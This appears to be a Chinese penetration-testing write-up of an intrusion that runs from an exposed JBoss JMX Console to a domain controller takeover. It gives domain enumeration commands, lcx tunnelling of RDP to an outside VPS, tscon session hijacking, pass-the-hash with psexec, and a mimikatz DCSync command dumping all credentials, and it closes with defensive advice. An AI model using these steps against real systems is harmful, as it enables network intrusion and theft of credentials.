从web到域控
字数 2068 2025-08-09 16:00:20

从Web渗透到域控攻防实战教学文档

1. 前言

本教学文档基于实战案例,详细记录从Web应用渗透到最终获取域控制器权限的全过程。案例中目标系统为JBoss应用服务器,最终成功获取域控权限。

2. Web打点阶段

2.1 JBoss JMX Console漏洞利用

发现过程

  • 目标系统暴露了JBoss管理控制台
  • JMX Console可直接访问,无需认证

漏洞利用方法

  1. 访问JMX Console界面
  2. 定位到jboss.deployment部分
  3. 找到void addURL()方法
  4. 使用集成化工具进行自动化利用

利用工具

  • 可使用现成的JBoss漏洞利用脚本工具
  • 工具检测到两个漏洞,其中一个是JMX Console漏洞

结果

  • 成功获取反弹shell
  • 初步检查发现无杀毒软件(AV)

3. 初始权限维持与信息收集

3.1 基础信息收集

检查项

  • 进程列表
  • 管理员登录时间
  • 网卡信息
  • 网络连通性测试(ping百度确认出网)

发现

  • 目标机器位于域环境中
  • 网络可出站

3.2 权限提升与维持

操作

  • 使用PowerShell上线
  • 派生会话进行操作
  • 抓取本机hash

4. 域内信息收集

4.1 基础域信息

收集命令

net group "domain admins" /domain
net group "domain controllers" /domain
net user /domain
net group "domain computers" /domain
net accounts /domain
nltest /domain_trusts
net group /domain
net use
net share
net session

关键发现

  • 域规模较大(300-400用户账号,100+主机)
  • 确认域控机器和账户
  • 域账户属性无强制密码更改要求
  • 通过net session发现其他主机连接本机的IPC连接

4.2 SPN扫描

方法

setspn -T 域名 -Q */*

结果处理

grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt

发现

  • 识别到多台主机运行MSSQL服务(1433端口)
  • 输出主机名列表便于后续利用

5. 横向移动技术

5.1 Pass The Hash (PTH)尝试

操作

  • 尝试PTH攻击域控,失败
  • 尝试MS17-010漏洞扫描,发现防御较高

5.2 利用net session信息

发现

  • 发现与当前主机用户名相同的账户名称
  • 使用psexec传递hash成功拿下该主机

限制

  • 对比net session用户名和域管用户名,无匹配项
  • 无法通过令牌盗取提升权限

5.3 MS17-010漏洞利用

过程

  1. 批量扫描发现零星几台有漏洞
  2. 分布在0、2、3网段各一台
  3. 尝试使用MSF进行利用

遇到的问题

  • Windows版MSF添加路由参数问题
  • 改用frp代理到Kali虚拟机
  • 最终利用失败(目标系统安全性高)

5.4 大规模PTH攻击

策略

  • 通过端口扫描发现大量445端口开放
  • 批量尝试Pass The Hash
  • 成功获取多台主机权限

6. RDP会话劫持尝试

发现

  • 在27号主机发现两个RDP会话
    • 已知账号和明文密码的普通域账户
    • 域管用户会话(但已失效)

劫持尝试

  1. 使用lcx设置代理:
    • 目标机器:lcx.exe -slave 公网ip 7212 127.0.0.1 3389
    • VPS:lcx -listen 7212 5555
  2. 尝试tscon 2劫持会话,失败(权限不足)

7. 最终域控攻陷

7.1 关键突破

过程

  1. 从所有已控主机dump hash
  2. 整合发现Administrator账户hash(域管账户)
  3. 尝试PTH攻击域控445端口

挑战

  • 初始PTH尝试失败
  • 尝试所有Administrator用户hash

7.2 成功获取域控权限

最终方法

  • 通过持续尝试所有抓取的Administrator hash
  • 成功Pass The Hash攻陷域控

7.3 域控信息提取

操作

  • 导出ntds.dit
  • 使用mimikatz提取所有密码:
    lsadump::dcsync /domain:xxx /all /csv
    

结果

  • 获取近千个用户凭证
  • 发现RDP连接持续活跃

7.4 RDP连接域控

方法

  1. 寻找未连接的RDP用户
  2. 解密其hash
  3. 成功建立3389连接

8. 总结与关键点

8.1 攻击路径总结

  1. Web应用(JBoss)→初始立足点
  2. 内网信息收集→定位域环境
  3. 横向移动(PTH/MS17-010)→扩大控制范围
  4. 持续信息收集→发现域管凭证
  5. PTH攻击域控→最终目标达成

8.2 关键技术点

  1. JBoss JMX Console漏洞利用

    • War包远程部署
    • addURL方法利用
  2. 域内信息收集

    • SPN扫描定位服务
    • net系列命令收集域信息
  3. 横向移动技术

    • Pass The Hash
    • MS17-010漏洞利用
    • psexec传递hash
  4. 权限提升技术

    • RDP会话劫持(tscon)
    • 凭证整合与碰撞
  5. 域控攻击技术

    • DCSync攻击
    • ntds.dit导出

8.3 防御建议

  1. Web应用层

    • 及时更新中间件
    • 限制管理界面访问
  2. 域环境防御

    • 启用LSA保护
    • 限制域管账户使用
    • 监控异常DCSync请求
  3. 横向移动防御

    • 禁用NTLM
    • 启用SMB签名
    • 及时修补MS17-010等漏洞
  4. 监控与检测

    • 监控异常SPN查询
    • 检测异常PTH行为
    • 记录和分析net命令使用

本案例展示了从Web应用到域控的完整攻击链,强调了信息收集和凭证管理在域渗透中的重要性,同时也凸显了防御方需要多层次防护的必要性。

从Web渗透到域控攻防实战教学文档 1. 前言 本教学文档基于实战案例,详细记录从Web应用渗透到最终获取域控制器权限的全过程。案例中目标系统为JBoss应用服务器,最终成功获取域控权限。 2. Web打点阶段 2.1 JBoss JMX Console漏洞利用 发现过程 : 目标系统暴露了JBoss管理控制台 JMX Console可直接访问,无需认证 漏洞利用方法 : 访问JMX Console界面 定位到 jboss.deployment 部分 找到 void addURL() 方法 使用集成化工具进行自动化利用 利用工具 : 可使用现成的JBoss漏洞利用脚本工具 工具检测到两个漏洞,其中一个是JMX Console漏洞 结果 : 成功获取反弹shell 初步检查发现无杀毒软件(AV) 3. 初始权限维持与信息收集 3.1 基础信息收集 检查项 : 进程列表 管理员登录时间 网卡信息 网络连通性测试(ping百度确认出网) 发现 : 目标机器位于域环境中 网络可出站 3.2 权限提升与维持 操作 : 使用PowerShell上线 派生会话进行操作 抓取本机hash 4. 域内信息收集 4.1 基础域信息 收集命令 : 关键发现 : 域规模较大(300-400用户账号,100+主机) 确认域控机器和账户 域账户属性无强制密码更改要求 通过net session发现其他主机连接本机的IPC连接 4.2 SPN扫描 方法 : 结果处理 : 发现 : 识别到多台主机运行MSSQL服务(1433端口) 输出主机名列表便于后续利用 5. 横向移动技术 5.1 Pass The Hash (PTH)尝试 操作 : 尝试PTH攻击域控,失败 尝试MS17-010漏洞扫描,发现防御较高 5.2 利用net session信息 发现 : 发现与当前主机用户名相同的账户名称 使用psexec传递hash成功拿下该主机 限制 : 对比net session用户名和域管用户名,无匹配项 无法通过令牌盗取提升权限 5.3 MS17-010漏洞利用 过程 : 批量扫描发现零星几台有漏洞 分布在0、2、3网段各一台 尝试使用MSF进行利用 遇到的问题 : Windows版MSF添加路由参数问题 改用frp代理到Kali虚拟机 最终利用失败(目标系统安全性高) 5.4 大规模PTH攻击 策略 : 通过端口扫描发现大量445端口开放 批量尝试Pass The Hash 成功获取多台主机权限 6. RDP会话劫持尝试 发现 : 在27号主机发现两个RDP会话 已知账号和明文密码的普通域账户 域管用户会话(但已失效) 劫持尝试 : 使用lcx设置代理: 目标机器: lcx.exe -slave 公网ip 7212 127.0.0.1 3389 VPS: lcx -listen 7212 5555 尝试 tscon 2 劫持会话,失败(权限不足) 7. 最终域控攻陷 7.1 关键突破 过程 : 从所有已控主机dump hash 整合发现Administrator账户hash(域管账户) 尝试PTH攻击域控445端口 挑战 : 初始PTH尝试失败 尝试所有Administrator用户hash 7.2 成功获取域控权限 最终方法 : 通过持续尝试所有抓取的Administrator hash 成功Pass The Hash攻陷域控 7.3 域控信息提取 操作 : 导出ntds.dit 使用mimikatz提取所有密码: 结果 : 获取近千个用户凭证 发现RDP连接持续活跃 7.4 RDP连接域控 方法 : 寻找未连接的RDP用户 解密其hash 成功建立3389连接 8. 总结与关键点 8.1 攻击路径总结 Web应用(JBoss)→初始立足点 内网信息收集→定位域环境 横向移动(PTH/MS17-010)→扩大控制范围 持续信息收集→发现域管凭证 PTH攻击域控→最终目标达成 8.2 关键技术点 JBoss JMX Console漏洞利用 : War包远程部署 addURL方法利用 域内信息收集 : SPN扫描定位服务 net系列命令收集域信息 横向移动技术 : Pass The Hash MS17-010漏洞利用 psexec传递hash 权限提升技术 : RDP会话劫持(tscon) 凭证整合与碰撞 域控攻击技术 : DCSync攻击 ntds.dit导出 8.3 防御建议 Web应用层 : 及时更新中间件 限制管理界面访问 域环境防御 : 启用LSA保护 限制域管账户使用 监控异常DCSync请求 横向移动防御 : 禁用NTLM 启用SMB签名 及时修补MS17-010等漏洞 监控与检测 : 监控异常SPN查询 检测异常PTH行为 记录和分析net命令使用 本案例展示了从Web应用到域控的完整攻击链,强调了信息收集和凭证管理在域渗透中的重要性,同时也凸显了防御方需要多层次防护的必要性。